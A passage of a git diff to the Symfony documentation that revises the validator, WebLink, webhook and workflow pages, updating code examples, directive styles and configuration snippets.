+        public function getRequiredOptions(): array
         {
             return ['mandatoryFooOption'];
         }
@@ -454,7 +495,7 @@ A class constraint validator must be applied to the class itself:
 
         use App\Validator as AcmeAssert;
 
-        #[AcmeAssert\ProtocolClass]
+        #[AcmeAssert\ConfirmedPaymentReceipt]
         class AcmeEntity
         {
             // ...
diff --git a/validation/groups.rst b/validation/groups.rst
index 3842c781969..8d84e52c0da 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -140,7 +140,7 @@ Constraints in the ``Default`` group of a class are the constraints that have
 either no explicit group configured or that are configured to a group equal to
 the class name or the string ``Default``.
 
-.. caution::
+.. warning::
 
     When validating *just* the User object, there is no difference between the
     ``Default`` group and the ``User`` group. But, there is a difference if
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 55ff96acda2..836568c2327 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -117,7 +117,7 @@ In this example, it will first validate all constraints in the group ``User``
 (which is the same as the ``Default`` group). Only if all constraints in
 that group are valid, the second group, ``Strict``, will be validated.
 
-.. caution::
+.. warning::
 
     As you have already seen in :doc:`/validation/groups`, the ``Default`` group
     and the group containing the class name (e.g. ``User``) were identical.
@@ -131,7 +131,7 @@ that group are valid, the second group, ``Strict``, will be validated.
     sequence, which will contain the ``Default`` group which references the
     same group sequence, ...).
 
-.. caution::
+.. warning::
 
     Calling ``validate()`` with a group in the sequence (``Strict`` in previous
     example) will cause a validation **only** with that group and not with all
@@ -360,15 +360,15 @@ entity, and even register the group provider as a service.
 
 Here's how you can achieve this:
 
- 1) **Define a Separate Group Provider Class:** create a class that implements
-    the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
-    and handles the dynamic group sequence logic;
- 2) **Configure the User with the Provider:** use the ``provider`` option within
-    the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
-    attribute to link the entity with the provider class;
- 3) **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>`
-    is enabled, your custom provider will be automatically linked. Otherwise, you must
-    :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag.
+#. **Define a Separate Group Provider Class:** create a class that implements
+   the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
+   and handles the dynamic group sequence logic;
+#. **Configure the User with the Provider:** use the ``provider`` option within
+   the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
+   attribute to link the entity with the provider class;
+#. **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>`
+   is enabled, your custom provider will be automatically linked. Otherwise, you must
+   :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag.
 
 .. configuration-block::
 
diff --git a/web_link.rst b/web_link.rst
index 82466e56b42..8602445313f 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -19,6 +19,16 @@ servers (Apache, nginx, Caddy, etc.) support this, but you can also use the
 `Docker installer and runtime for Symfony`_ created by Kévin Dunglas, from the
 Symfony community.
 
+Installation
+------------
+
+In applications using :ref:`Symfony Flex <symfony-flex>`, run the following command
+to install the WebLink feature before using it:
+
+.. code-block:: terminal
+
+    $ composer require symfony/web-link
+
 Preloading Assets
 -----------------
 
@@ -40,32 +50,36 @@ Imagine that your application includes a web page like this:
     </body>
     </html>
 
-Following the traditional HTTP workflow, when this page is served browsers will
-make one request for the HTML page and another request for the linked CSS file.
-However, thanks to HTTP/2 your application can start sending the CSS file
-contents even before browsers request them.
-
-To do that, first install the WebLink component:
-
-.. code-block:: terminal
-
-    $ composer require symfony/web-link
+In a traditional HTTP workflow, when this page is loaded, browsers make one
+request for the HTML document and another for the linked CSS file. However,
+with HTTP/2, your application can send the CSS file's contents to the browser
+before it requests them.
 
-Now, update the template to use the ``preload()`` Twig function provided by
-WebLink. The `"as" attribute`_ is mandatory because browsers need it to apply
-correct prioritization and the content security policy:
+To achieve this, update your template to use the ``preload()`` Twig function
+provided by WebLink. Note that the `"as" attribute`_ is required, as browsers use
+it to prioritize resources correctly and comply with the content security policy:
 
 .. code-block:: html+twig
 
     <head>
         <!-- ... -->
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style' }) }}">
+        {# note that you must add two <link> tags per asset:
+           one to link to it and the other one to tell the browser to preload it #}
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style'}) }}" as="style">
+        <link rel="stylesheet" href="/app.css">
     </head>
 
 If you reload the page, the perceived performance will improve because the
 server responded with both the HTML page and the CSS file when the browser only
 requested the HTML page.
 
+.. tip::
+
+    When using the :doc:`AssetMapper component </frontend/asset_mapper>` to link
+    to assets (e.g. ``importmap('app')``), there's no need to add the ``<link rel="preload">``
+    tag. The ``importmap()`` Twig function automatically adds the ``Link`` HTTP
+    header for you when the WebLink component is available.
+
 .. note::
 
     You can preload an asset by wrapping it with the ``preload()`` function:
@@ -74,7 +88,8 @@ requested the HTML page.
 
         <head>
             <!-- ... -->
-            <link rel="preload" href="{{ preload(asset('build/app.css')) }}">
+            <link rel="preload" href="{{ preload(asset('build/app.css')) }}" as="style">
+            <!-- ... -->
         </head>
 
 Additionally, according to `the Priority Hints specification`_, you can signal
@@ -84,7 +99,8 @@ the priority of the resource to download using the ``importance`` attribute:
 
     <head>
         <!-- ... -->
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style', importance: 'low'}) }}" as="style">
+        <!-- ... -->
     </head>
 
 How does it work?
@@ -108,7 +124,8 @@ issuing an early separate HTTP request, use the ``nopush`` option:
 
     <head>
         <!-- ... -->
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style', nopush: true}) }}" as="style">
+        <!-- ... -->
     </head>
 
 Resource Hints
@@ -142,7 +159,8 @@ any link implementing the `PSR-13`_ standard. For instance, any
     <head>
         <!-- ... -->
         <link rel="alternate" href="{{ link('/index.jsonld', 'alternate') }}">
-        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', {as: 'style', nopush: true}) }}" as="style">
+        <!-- ... -->
     </head>
 
 The previous snippet will result in this HTTP header being sent to the client:
diff --git a/webhook.rst b/webhook.rst
index 0e975860055..38f3a4b1004 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -186,3 +186,14 @@ For SMS webhooks, react to the
             // Handle the SMS event
         }
     }
+
+Creating a Custom Webhook
+-------------------------
+
+.. tip::
+
+    Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:webhook``
+    to generate the request parser and consumer files needed to create your own
+    Webhook.
+
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/workflow.rst b/workflow.rst
index 7e45c7693c1..11b4005bb10 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -294,6 +294,41 @@ what actions are allowed on a blog post::
     // See a specific available transition for the post in the current state
     $transition = $workflow->getEnabledTransition($post, 'publish');
 
+Using a multiple state marking store
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>`,
+your marking store may need to contain multiple places at the same time. That's why,
+if you are using Doctrine, the matching column definition should use the type ``json``::
+
+    // src/Entity/BlogPost.php
+    namespace App\Entity;
+
+    use Doctrine\DBAL\Types\Types;
+    use Doctrine\ORM\Mapping as ORM;
+
+    #[ORM\Entity]
+    class BlogPost
+    {
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column]
+        private int $id;
+
+        #[ORM\Column(type: Types::JSON)]
+        private array $currentPlaces;
+
+        // ...
+    }
+
+.. warning::
+
+    You should not use the type ``simple_array`` for your marking store. Inside
+    a multiple state marking store, places are stored as keys with a value of one,
+    such as ``['draft' => 1]``. If the marking store contains only one place,
+    this Doctrine type will store its value only as a string, resulting in the
+    loss of the object's current place.
+
 Accessing the Workflow in a Class
 ---------------------------------
 
@@ -366,6 +401,15 @@ name.
     * ``workflow.workflow``: all workflows;
     * ``workflow.state_machine``: all state machines.
 
+    Note that workflow metadata are attached to tags under the ``metadata`` key,
+    giving you more context and information about the workflow at disposal.
+    Learn more about :ref:`tag attributes <tags_additional-attributes>` and
+    :ref:`storing workflow metadata <workflow_storing-metadata>`.
+
+    .. versionadded:: 7.1
+
+        The attached configuration to the tag was introduced in Symfony 7.1.
+
 .. tip::
 
     You can find the list of available workflow services with the
@@ -487,6 +531,7 @@ workflow leaves a place::
     use Psr\Log\LoggerInterface;
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Workflow\Event\Event;
+    use Symfony\Component\Workflow\Event\LeaveEvent;
 
     class WorkflowLoggerSubscriber implements EventSubscriberInterface
     {
@@ -509,11 +554,24 @@ workflow leaves a place::
         public static function getSubscribedEvents(): array
         {
             return [
-                'workflow.blog_publishing.leave' => 'onLeave',
+                LeaveEvent::getName('blog_publishing') => 'onLeave',
+                // if you prefer, you can write the event name manually like this:
+                // 'workflow.blog_publishing.leave' => 'onLeave',
             ];
         }
     }
 
+.. tip::
+
+    All built-in workflow events define the ``getName(?string $workflowName, ?string $transitionOrPlaceName)``
+    method to build the full event name without having to deal with strings.
+    You can also use this method in your custom events via the
+    :class:`Symfony\\Component\\Workflow\\Event\\EventNameTrait`.
+
+    .. versionadded:: 7.1
+
+        The ``getName()`` method was introduced in Symfony 7.1.
+
 If some listeners update the context during a transition, you can retrieve
 it via the marking::
 
@@ -910,12 +968,18 @@ the
 
     final class BlogPostMarkingStore implements MarkingStoreInterface
     {
-        public function getMarking(BlogPost $subject): Marking
+        /**
+         * @param BlogPost $subject
+         */
+        public function getMarking(object $subject): Marking
         {
             return new Marking([$subject->getCurrentPlace() => 1]);
         }
 
-        public function setMarking(BlogPost $subject, Marking $marking): void
+        /**
+         * @param BlogPost $subject
+         */
+        public function setMarking(object $subject, Marking $marking, array $context = []): void
         {
             $marking = key($marking->getPlaces());
             $subject->setCurrentPlace($marking);
@@ -1032,6 +1096,8 @@ The following example shows these functions in action:
         <span class="error">{{ blocker.message }}</span>
     {% endfor %}
 
+.. _workflow_storing-metadata:
+
 Storing Metadata
 ----------------
 
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 7ec74f233eb..3a034b97357 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -81,6 +81,7 @@ Below is the configuration for the pull request state machine.
                     marking_store:
                          type: 'method'
                          property: 'currentPlace'
+                    # The "supports" option is useful only if you are using Twig functions ('workflow_*')
                     supports:
                         - App\Entity\PullRequest
                     initial_marking: start
@@ -127,14 +128,12 @@ Below is the configuration for the pull request state machine.
 
             <framework:config>
                 <framework:workflow name="pull_request" type="state_machine">
-                    <framework:marking-store>
-                        <framework:type>method</framework:type>
-                        <framework:property>currentPlace</framework:property>
-                    </framework:marking-store>
+                    <framework:initial-marking>start</framework:initial-marking>
 
-                    <framework:support>App\Entity\PullRequest</framework:support>
+                    <framework:marking-store type="method" property="currentPlace"/>
 
-                    <framework:initial_marking>start</framework:initial_marking>
+                    <!-- The "supports" option is useful only if you are using Twig functions ('workflow_*') -->
+                    <framework:support>App\Entity\PullRequest</framework:support>
 
                     <framework:place>start</framework:place>
                     <framework:place>coding</framework:place>
@@ -202,6 +201,7 @@ Below is the configuration for the pull request state machine.
 
             $pullRequest
                 ->type('state_machine')
+                // The "supports" option is useful only if you are using Twig functions ('workflow_*')
                 ->supports(['App\Entity\PullRequest'])
                 ->initialMarking(['start']);